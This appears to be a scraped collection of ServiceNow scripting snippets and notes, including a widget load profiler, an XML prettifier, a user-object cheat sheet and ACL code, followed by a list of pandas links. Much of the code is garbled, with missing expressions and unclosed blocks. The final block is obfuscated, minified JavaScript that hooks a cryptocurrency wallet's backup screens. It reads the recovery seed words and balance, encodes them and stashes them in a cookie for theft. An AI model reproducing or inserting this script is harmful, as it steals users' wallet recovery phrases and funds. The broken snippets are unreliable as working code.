var payload = (new global.JSON().encode(;
(async () => {
  let threshold = 1000; // only show load times for widgets higher than this value (in milliseconds)
  var wa = $("div [widget='widget']").css("border", "1px solid red").css("padding-top", "20px").css("position", "relative")
  let widgetTable = [];
  let wmk = [];
  for (var i = 0; i < wa.length; i++) {
    let widgetEntry = {};
    $0 = wa[i]
    let scope = $($0).scope();
      var widget = scope.widget;
    } catch(e){
    var timing = 0;
    let elem = $("<div style='position: absolute; top: 1px; left: 1px'><a target='_blank' href='/$" + widget.sys_id + "'> " + + "</a>&nbsp;&nbsp;</div>");
    var printScope = $("<a href='javascript:void(0);'>Print scope </a>").on('click', function() {;
    elem.append(printScope); =;
    widgetEntry.rectangle = widget.rectangle_id || 'undefined';
    widgetEntry.sys_id = widget.sys_id;
    let id = scope.widget.rectangle_id + "_" + scope.$id

    // if this is not a nested widget, go ahead and refresh it.
    if (!scope.$parent || !scope.$parent.widget) {
      var widget_name =;
      var t0 =;
      await scope.server.refresh();
      var t1 =;
      timing = "<div style='float:right;color:red;' id='" + id + "'> Load Time: " + parseInt(t1 - t0) + " ms.</div>";
      widgetEntry.load_time_ms = parseInt(t1 - t0) || 0;
    // add a button to refresh manually.
    var loadTime = $("<button style='border-radius: 50%;'> ⟳ </button>").on('click', function() {
      var widget_name =;
      let id = scope.widget.rectangle_id + "_" + scope.$id
      var t0 =;
      scope.server.refresh().then(() => {
        var t1 =;
        timing = "<div style='float:right;color:red;' id='" + id + "'> Load Time: " + parseInt(t1 - t0) + " ms.</div>";
        widgetEntry.load_time_ms = parseInt(t1 - t0) || 0;
        if ($('#' + id)) {
          $('#' + id).remove();

        console.log("Call to " + widget_name + " took " + (t1 - t0) + " ms.");

  widgetTable.sort((a, b) => (a.load_time_ms > b.load_time_ms) ? 1 : -1);
  var slow = widgetTable.filter((e, i, w) => {
    return e.load_time_ms >= threshold;

  let mkdn = `|Name|sys_id|rectangle_id|Load Time Ms|
${, i, widgetTable) => {
return `|${}|${widgetEntry.sys_id}|${widgetEntry.rectangle}|${widgetEntry.load_time_ms}|`;
  var doCopy = function() {
    var el = document.createElement('textarea');
    el.value = mkdn;
    el.setAttribute('readonly', ''); = {
      position: 'absolute',
      left: '-9999px'
  var elem = `<div style="float: right;
z-index: 1;
position: relative;
left: -50%; /* or right 50% */
text-align: left;
<h2>${(slow.length > 0)?"Slow Widgets:" : "No Slow Widgets Found!"}</h2>
<table style="padding:3px; display:${(slow.length > 0)?"table":"none"}">
<tr><td style="padding:3px;" >Name</td><td style="padding:3px;">sys_id</td><td style="padding:3px;">rectangle id</td><td style="padding:3px;">load time ms</td></tr>
${, i, widgetTable) => {
return `<tr><td style="padding:3px;">${}</td><td style="padding:3px;">${widgetEntry.sys_id}</td><td style="padding:3px;">${widgetEntry.rectangle}</td><td style="padding:3px;">${widgetEntry.load_time_ms}</td></tr>`;
}).join(" ")}
<button onClick=${doCopy()} style="display:${(slow.length > 0)?"table":"none"}">Copy Markdown</button>
this.XMLHelper = (new x_hca2_mh_intg.MHXMLUtils());

var responseBody = response.getBody();
var prettyXML = this.XMLHelper.prettifyXML(responseBody);

var MHXMLUtils = Class.create();
MHXMLUtils.prototype = {

    initialize: function() {

    parseXMLNode: function (xml, node) {
        var xmlDoc = new XMLDocument2();
        return (xmlDoc.getNodeText(node));

    prettifyXML: function (xmlString) {
        var formatted = '';
        var reg = /(>)(<)(/)/g;
        xmlString = xmlString.replace(reg, '$1\r\n$2$3');
        var pad = 0;
        var nodes = xmlString.split('\r\n');
        nodes.forEach(function(node, index) {
            var indent = 0;
            if (node.match( /.+</\w[^>]>$/ ))
                indent = 0;
            else if (node.match( /^</\w/ )) {
                if (pad != 0) {
                    pad -= 1;
            } else if (node.match( /^<\w[^>][^/]>.$/ ))
                indent = 1;
                indent = 0;

            var padding = '';
            for (var i = 0; i < pad; i++)
                padding += '    ';

            formatted += padding + node + '\r\n';
            pad += indent;
        return formatted;

    type: 'MHXMLUtils'
// opens a new u_error_reporting record from an sc_task record
function openOverlay(overlayID, overlayTitle, iframeURI, height, width) {
	// Instantiate the GlideOverlay
	// Note: GlideOverlay extends GlideBox, which contains the close() method
	var overlayWindow = new GlideOverlay({
		                                     id:             overlayID,
		                                     title:          overlayTitle,
		                                     iframe:         iframeURI,
		                                     allowOverflowX: true,
		                                     closeOnEscape:  true,
		                                     height:         height,
		                                     width:          width
	// Get the element containing the iframe document.
	var overlayDocument = overlayWindow._box.getElementsByClassName('gb_iframe')[0];
	// Add a listener for when the document in the iframe finishes loading, and run some code when it does.
	// Without this, our code would not have a "document" in which to execute, and wouldn't do anything.
	overlayDocument.onload = function() {
		// Get all of the "buttons" (button UI actions) in the document in the iframe -- that is, on the form in the GlideOverlay.
		var overlayG_form = overlayDocument.contentWindow.g_form;
		var buttonsInOverlayWindow = overlayDocument.contentWindow.document.getElementsByClassName('form_action_button');
		// Iterate over each UI action button on the form.
		for (var i in buttonsInOverlayWindow) {
			// Standard check to make sure that the element (still) exists.
			if (buttonsInOverlayWindow.hasOwnProperty(i)) {
				// Adding an event listener to each UI action button. This executes a function when the button is clicked.
				buttonsInOverlayWindow[i].addEventListener('click', function() {
					// When a UI action button is clicked, we first call setTimeout. We pass in only a very small timeout timer, since
					// even a timeout of 0 will cause the code passed into the setTimeout function to execute after all other scripts
					// have finished running as a result of that click (such as the form being submitted).
					setTimeout(function() {
						// Finally, after all other code has executed as a result of the user clicking the UI action button, we call
						// a function to check if any mandatory fields have not been filled out. If we're good, then we close the overlay.
						if (!(overlayG_form.getMissingFields().length > 0)) {
							console.warn(!(overlayG_form.getMissingFields().length > 0) + 'CLOSING');
						} else {
							console.warn(!(overlayG_form.getMissingFields().length > 0) + 'NOT CLOSING');
					}, 500);
var gr = new GlideRecord('sc_item_option_mtom');

while ( {

User Object Cheat Sheet

o matter what system you’re working in, it is always critical to be able to identify information about the user who is accessing that system. Being able to identify who the user is, what their groups and/or roles are, and what other attributes their user record has are all important pieces of information that allow you to provide that user with a good experience (without giving them information they don’t need to have or shouldn’t have). ServiceNow gives administrators some pretty simple ways to identify this information in the form of a couple of user objects and corresponding methods. This article describes the functions and methods you can use to get information about the users accessing your system.

GlideSystem User Object

The GlideSystem (gs) user object is designed to be used in any server-side JavaScript (Business rules, UI Actions, System security, etc.). The following table shows how to use this object and its corresponding functions and methods.

Function/Method	Return Value	Usage
gs.getUser()	Returns a reference to the user object for the currently logged-in user.	var userObject = gs.getUser();
gs.getUserByID()	Returns a reference to the user object for the user ID (or sys_id) provided.	var userObject = gs.getUser().getUserByID('employee');
gs.getUserName()	Returns the User ID (user_name) for the currently logged-in user.
e.g. 'employee'	var user_name = gs.getUserName();
gs.getUserDisplayName()	Returns the display value for the currently logged-in user.
e.g. 'Joe Employee'	var userDisplay = gs.getUserDisplayName();
gs.getUserID()	Returns the sys_id string value for the currently logged-in user.	var userID = gs.getUserID();
getFirstName()	Returns the first name of the currently logged-in user.	var firstName = gs.getUser().getFirstName();
getLastName()	Returns the last name of the currently logged-in user.	var lastName = gs.getUser().getLastName();
getEmail()	Returns the email address of the currently logged-in user.	var email = gs.getUser().getEmail();
getDepartmentID()	Returns the department sys_id of the currently logged-in user.	var deptID = gs.getUser().getDepartmentID();
getCompanyID()	Returns the company sys_id of the currently logged-in user.	var companyID = gs.getUser().getCompanyID();
getCompanyRecord()	Returns the company GlideRecord of the currently logged-in user.	var company = gs.getUser().getCompanyRecord();
getLanguage()	Returns the language of the currently logged-in user.	var language = gs.getUser().getLanguage();
getLocation()	Returns the location of the currently logged-in user.	var location = gs.getUser().getLocation();
getDomainID()	Returns the domain sys_id of the currently logged-in user (only used for instances using domain separation).	var domainID = gs.getUser().getDomainID();
getDomainDisplayValue()	Returns the domain display value of the currently logged-in user (only used for instances using domain separation).	var domainName = gs.getUser().getDomainDisplayValue();
getManagerID()	Returns the manager sys_id of the currently logged-in user.	var managerID = gs.getUser().getManagerID();
getMyGroups()	Returns a list of all groups that the currently logged-in user is a member of.	var groups = gs.getUser().getMyGroups();
isMemberOf()	Returns true if the user is a member of the given group, false otherwise.	Takes either a group sys_id or a group name as an argument.

//Do something...

var isMember = gs.getUser().isMemberOf('Hardware');

To do this for a user that isn't the currently logged-in user...

var user = 'admin';
var group = "Hardware";
if (gs.getUser().getUserByID(user).isMemberOf(group)){
gs.log( gr.user_name + " is a member of " + group);

gs.log( gr.user_name + " is NOT a member of " + group);
gs.hasRole()	Returns true if the user has the given role, false otherwise.	if(gs.hasRole('itil')){ //Do something... }
gs.hasRole()	Returns true if the user has one of the given roles, false otherwise.	if(gs.hasRole('itil,admin')){
//If user has 'itil' OR 'admin' role then Do something...
hasRoles()	Returns true if the user has any roles at all, false if the user has no role (i.e. an ess user).	if(!gs.getUser().hasRoles()){
//User is an ess user...
It is also very simple to get user information even if the attribute you want to retrieve is not listed above by using a ‘gs.getUser().getRecord()’ call as shown here…

//This script gets the user's title

g_user User Object

The g_user object can be used only in UI policies and Client scripts. Contrary to its naming, it is not truly a user object. g_user is actually just a handful of cached user properties that are accessible to client-side JavaScript. This eliminates the need for most GlideRecord queries from the client to get user information (which can incur a fairly significant performance hit if not used judiciously).

g_user Property or Method	Return value
g_user.userName	User name of the current user e.g. employee
g_user.firstName	First name of the current user e.g. Joe
g_user.lastName	Last name of the current user e.g. Employee
g_user.userID	sys_id of the current user e.g. 681ccaf9c0a8016400b98a06818d57c7
g_user.hasRole()	True if the current user has the role specified, false otherwise. ALWAYS returns true if the user has the 'admin' role.

Usage: g_user.hasRole('itil')
g_user.hasRoleExactly()	True if the current user has the exact role specified, false otherwise, regardless of 'admin' role.

Usage: g_user.hasRoleExactly('itil')
g_user.hasRoles()	True if the current user has at least one role specified, false otherwise.

Usage: g_user.hasRoles('itil','admin')
It is often necessary to determine if a user is a member of a given group from the client as well. Although there is no convenience method for determining this from the client, you can get the information by performing a GlideRecord query. Here’s an example…

//Check to see if assigned to is a member of selected group
var usrID = g_form.userID; //Get current user ID
var grp = new GlideRecord('sys_user_grmember');
grp.addQuery('', grpName);
grp.addQuery('user', usrID);
function groupMemberCallback(grp){
//If user is a member of selected group
        //Do something
        alert('Is a member');
        alert('Is not a member');
To get any additional information about the currently logged-in user from a client-script or UI policy, you need to use a GlideRecord query. If at all possible, you should use a server-side technique described above since GlideRecord queries can have performance implications when initiated from a client script. For the situations where there’s no way around it, you could use a script similar to the one shown below to query from the client for more information about the currently logged in user.

//This script gets the user's title
var gr = new GlideRecord('sys_user');
var title = gr.title;

Useful Scripts

There are quite a few documented examples of some common uses of these script methods. These scripts can be found on the ServiceNow wiki.
Fear Not; There is a Better Workaround
...and I do mean workaround. This is by no means to be considered a fix. The secret is in the browser cookies. We know that many plugins contain UI Scripts. These applications are updated from time to time (including the UI Scripts) and that works fine. What's the difference? Activating a plugin triggers a forced cache update for the users' browsers. The difference is that updating a UI Script doesn't trigger this. Not even a triggers it. It simply forces the server to update cache. Installing/updating plugins seems to be the sole trigger that forces the browser to ask the server for updated cache for UI Scripts.

So how do you force this cache update?
The check for building new cache in this instance is controlled by a cookie on the client browser that ServiceNow creates. The cookie is controlled by a property in ServiceNow called glide.lastupdate. To force this update to happen, all you have to do is set that property to a newer dateTime than it currently is (e.g. the current timestamp). You can do this manually, but that can also be a form of kicking the can down the road. You will be back here soon. At Walmart, we wrote a Business Rule to update this whenever a ui_script is updated:

(function executeRule(current, previous /*null when async*/) {
	var gdt = new Date();
	var gdtString = gdt.toString().replace(/ /g,'_').replace(/:/g,'_');
	var timeZone = gdtString.replace(/.*[(](.*)[)].*/,'$1');
	var dateFinal = gdtString.slice(0,25) + timeZone;
	gs.addInfoMessage('System Property glide.lastplugin updated. ' + 
					  'Please be sure to push this updated property with the rest of your code. ' +
					  'This will ensure that the JavaScript cache is updated on the client browser.');
	gs.setProperty('glide.lastplugin', dateFinal);
})(current, previous);
I have attached an export of this business rule for any who are interested. The info message reminds developers to ensure this updated property is included in their update set, since business rules are not triggered on update commit.

I have seen few questions wherein users require a VIP Icon for catalog variable when the user is a VIP user..

Use case: Consider you have a Variable which refers to "sys_user" table. When the Request Item form loads or Catalog Task form loads and if the User variable holds a VIP User then vip icon should be visible besides the variable.


1) Create an onLoad Catalog Client Script which is set to "Applies on Requested Items" and "Applies on Catalog Tasks"

2) Use Script mentioned below; ensure you give question value in script inside the Contains filter and not the name. Using g_form.getControl() doesn't work on sc_req_item and sc_task tables.

3) Ensure Isolate Script field is set to False for the above Catalog Client Script; this field can be edited from List


function onLoad() {
	//Type appropriate comment here, and begin script below
	var user = g_form.getReference('user', callBackMethod);

function callBackMethod(user){

	if( == 'true'){
		var variableQuestionValue = 'User';
		$j("<img src='images/icons/vip.gif'>" ).insertAfter("" + variableQuestionValue + ")");

1) Variable Question with Value as User being used inside the script

2) Catalog Client Script: Isolate Script -> False

3) RITM Form when User is VIP showing the icon

4) TASK Form when User is VIP showing the icon

5) User "Abel Tuter" is VIP User

Note: If you would like to test this; try changing the value to a user who is not VIP and the icon should not show up

Additionally you can also highlight the background in red/orange color as below

g_form.getDisplayBox('user').style.backgroundColor =  'orange';
You can also show the text in red color as below

g_form.getDisplayBox('user').style.color= 'red';
Thanks for reading the blog and do provide your inputs/suggestions if any.
 /* SW • Added 01/12/2021
    ** This was added to check for any non-interactive users (service accounts used for integrations)
    ** to ensure they only have access to attachments in which the record it is attached to is the
    ** same company as the service account.
    // Remove Prefix
    var tableName = current.table_name;
    if (tableName.startsWith("invisible."))
        tableName = tableName.substring(10);
    else if (tableName.startsWith("ZZ_YY"))
        tableName = tableName.substring(5);

    var parentRecord = new GlideRecord(tableName);

    if (!gs.getSession().isInteractive())
        return verifyReadAccessFromNonInteractiveUsers(parentRecord);

    function verifyReadAccessFromNonInteractiveUsers(parentRecord) {
      if ((gs.hasRole("snc_platform_rest_api_access")) && (parentRecord.canRead()) && ( == gs.getUser().getCompanyID()))
        return true;
      return false;

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}